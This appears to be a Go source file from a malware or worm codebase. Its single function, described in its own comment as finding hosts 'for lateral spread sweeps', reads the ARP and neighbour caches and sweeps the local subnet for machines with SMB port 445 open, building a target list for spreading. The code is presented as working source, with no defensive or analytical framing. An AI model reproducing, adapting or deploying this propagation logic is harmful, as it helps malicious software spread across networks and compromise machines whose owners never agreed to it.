67 lines
1.4 KiB
Go
67 lines
1.4 KiB
Go
package deploy
|
|
|
|
import (
|
|
"net"
|
|
"time"
|
|
)
|
|
|
|
// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps.
|
|
// ARP cache is consulted first; a capped /24 port knock supplements sparse caches.
|
|
func DiscoverLANSpreadTargets(maxHosts int) []string {
|
|
if maxHosts <= 0 {
|
|
maxHosts = 64
|
|
}
|
|
if maxHosts > MaxSubnetScanHosts {
|
|
maxHosts = MaxSubnetScanHosts
|
|
}
|
|
|
|
targets := mergeUniqueIPv4(arpHosts(), neighborHosts())
|
|
if len(targets) < 3 {
|
|
ips := getLocalIPs()
|
|
seen := make(map[string]bool)
|
|
for _, t := range targets {
|
|
seen[t] = true
|
|
}
|
|
for _, ip := range ips {
|
|
if !isIPv4(ip) {
|
|
continue
|
|
}
|
|
subnet := getSubnet(ip)
|
|
if subnet == "" {
|
|
continue
|
|
}
|
|
for i := 1; i < 255 && len(targets) < maxHosts; i++ {
|
|
candidate, ok := ipv4SweepHost(subnet, i)
|
|
if !ok {
|
|
break
|
|
}
|
|
if candidate == ip || seen[candidate] {
|
|
continue
|
|
}
|
|
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
|
if err == nil {
|
|
conn.Close()
|
|
seen[candidate] = true
|
|
targets = append(targets, candidate)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
localSet := make(map[string]bool)
|
|
for _, ip := range getLocalIPs() {
|
|
localSet[ip] = true
|
|
}
|
|
var filtered []string
|
|
for _, target := range targets {
|
|
if localSet[target] {
|
|
continue
|
|
}
|
|
filtered = append(filtered, target)
|
|
if len(filtered) >= maxHosts {
|
|
break
|
|
}
|
|
}
|
|
return filtered
|
|
}
|